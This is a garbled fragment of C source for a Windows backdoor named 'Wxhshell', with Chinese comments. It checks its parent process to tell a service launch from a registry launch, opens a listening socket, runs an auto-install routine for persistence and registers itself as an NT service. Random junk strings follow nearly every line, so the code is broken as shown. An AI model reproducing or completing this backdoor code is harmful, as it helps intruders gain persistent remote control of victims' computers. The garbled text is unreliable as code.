DWORD AffinityMask; 'tY y_
DWORD BasePriority; >K*TgG6!X
ULONG UniqueProcessId; ofuQ`g1hb
ULONG InheritedFromUniqueProcessId; G5*_
} PROCESS_BASIC_INFORMATION; PJ2m4ulY
,lQfsntk'
PROCNTQSIP NtQueryInformationProcess; bYwe/sR
zTg&W7oz
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; So]O`RJv
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \9k{h08s
ESi-'R&
HANDLE hProcess; S#l)|c_~
PROCESS_BASIC_INFORMATION pbi; xPMX\aI|l
ZU.f)94u
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Am=O-;
b'8
if(NULL == hInst ) return 0; Z4{~
`q+Ug
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G$1gk ^G's
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [cT7Iqip
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =po5Q6@i
[Y8ot-6
if (!NtQueryInformationProcess) return 0; S<>u
UB7C,:"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZqfoO!Ta
if(!hProcess) return 0; PY[!H<tt
,S-zY\XB
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dwz{Yw(
g&O!w!T
CloseHandle(hProcess); c{!XDiT]P
'/@i}
digf
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ICUI0/J
if(hProcess==NULL) return 0; 54%h)dLDy
P|;=dX#-
HMODULE hMod; gF&HJF 0x
char procName[255]; *.zC 9Y,
unsigned long cbNeeded; AUPTtc`#Y
R![1\Yv&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *
NdL4c~
B8 R&Q8Q
CloseHandle(hProcess); 7r$'2">K(
;{ESo?$*
if(strstr(procName,"services")) return 1; // 以服务启动 ef]60OtP
N>',[4pJ|
return 0; // 注册表启动 v v]rXJu1
} GKf%dKL
)k&!&
// 主模块 U\UlQp?
int StartWxhshell(LPSTR lpCmdLine) 7hl,dtn7
{ 5
DvD
SOCKET wsl; 9pq-"?vHY0
BOOL val=TRUE; qh/}/Sl;
int port=0; R%)7z)~
struct sockaddr_in door; CO"Nv
|v= */e
if(wscfg.ws_autoins) Install(); 'L ]k\GO
H1a<&7
port=atoi(lpCmdLine); ~19&s~
0 A6%!h
if(port<=0) port=wscfg.ws_port; IW- BY =C
z#t;n
WSADATA data; ;p/$9b.0:
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U-lN-/=l6
b[ .pD3
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
5)<}a&;{
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mE3M$2}
door.sin_family = AF_INET; dnstm@0k
door.sin_addr.s_addr = inet_addr("127.0.0.1"); AOR(1Qyo
door.sin_port = htons(port); o :_'R5
LLW
xzu!<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~"i4"Op&
closesocket(wsl); Xjnv8{X
return 1; F;<cG`|Rx
} mNnt9F3Eq
W5zlU2
if(listen(wsl,2) == INVALID_SOCKET) { !F~*Q2PZ9
closesocket(wsl); {igVuZ(>en
return 1; wd0 *"c@
} g;t>jgX
Wxhshell(wsl); Nm, 9xq
WSACleanup(); -+Ab[
Zh3hCxXa
return 0; GJbU1k]
,[|4{qli\
} .lIkJQ3d
%TA@-tK=
// 以NT服务方式启动 @#KZ2^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^{w]r5d
{ 6xAR:
DWORD status = 0; LSW1,}/B
DWORD specificError = 0xfffffff; !i*bb~
=U_O;NC
serviceStatus.dwServiceType = SERVICE_WIN32; "[p-Iy1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >Mc,c(CvU
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {G(N vf,K]
serviceStatus.dwWin32ExitCode = 0; zd^QG
serviceStatus.dwServiceSpecificExitCode = 0; T{Y;-m
serviceStatus.dwCheckPoint = 0; c(G;O)ikS
serviceStatus.dwWaitHint = 0; KL6FmL)HH
9#ZR0t.cY
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D_)n\(3
if (hServiceStatusHandle==0) return; P*zOt]T
%W:]OPURK
status = GetLastError(); 9_<>#)u5
if (status!=NO_ERROR) >{huaN B
{ Mo_(WSs
serviceStatus.dwCurrentState = SERVICE_STOPPED; (2fWJ% 7VG
serviceStatus.dwCheckPoint = 0; *mTx0sQz(J
serviceStatus.dwWaitHint = 0; [
#1<W`95
serviceStatus.dwWin32ExitCode = status; gdkQ
h_\
serviceStatus.dwServiceSpecificExitCode = specificError; 'o.A8su,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( zL(
return; 5
Yf
T
} f hS4Gb_
^-GzWT
serviceStatus.dwCurrentState = SERVICE_RUNNING; /R%
Xkb
serviceStatus.dwCheckPoint = 0; tj=l!
serviceStatus.dwWaitHint = 0; 3T7,Y(<V
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MeXGE
} uDXRw*rTv
G>yTv`-
// 处理NT服务事件,比如:启动、停止 oUG!=.1}K5
VOID WINAPI NTServiceHandler(DWORD fdwControl) S eTn]
{ cczV}m2)
switch(fdwControl) E+xC1U
3
{ J52- qR/
case SERVICE_CONTROL_STOP: QKt[Kte
serviceStatus.dwWin32ExitCode = 0; a-<&(jV
serviceStatus.dwCurrentState = SERVICE_STOPPED; <W<>=vDzyE
serviceStatus.dwCheckPoint = 0; Bp>Z?"hTe
serviceStatus.dwWaitHint = 0; {, `)
{ MmPLJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 27q=~R}
} 3}lT"K
return; =@EX!]=x
case SERVICE_CONTROL_PAUSE: :$J4T;/{
serviceStatus.dwCurrentState = SERVICE_PAUSED; vjz*B$
break; m^M sp:T,
case SERVICE_CONTROL_CONTINUE: mM6X0aM
serviceStatus.dwCurrentState = SERVICE_RUNNING; c^ifHCt|
break; M!j: 2dT"
case SERVICE_CONTROL_INTERROGATE: ?ot7_ vl
break; oYn|>`+6:y
}; oP CtLz}z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [@LA<Z_
} r{pbUk
v@^P4cu;
// 标准应用程序主函数 ^<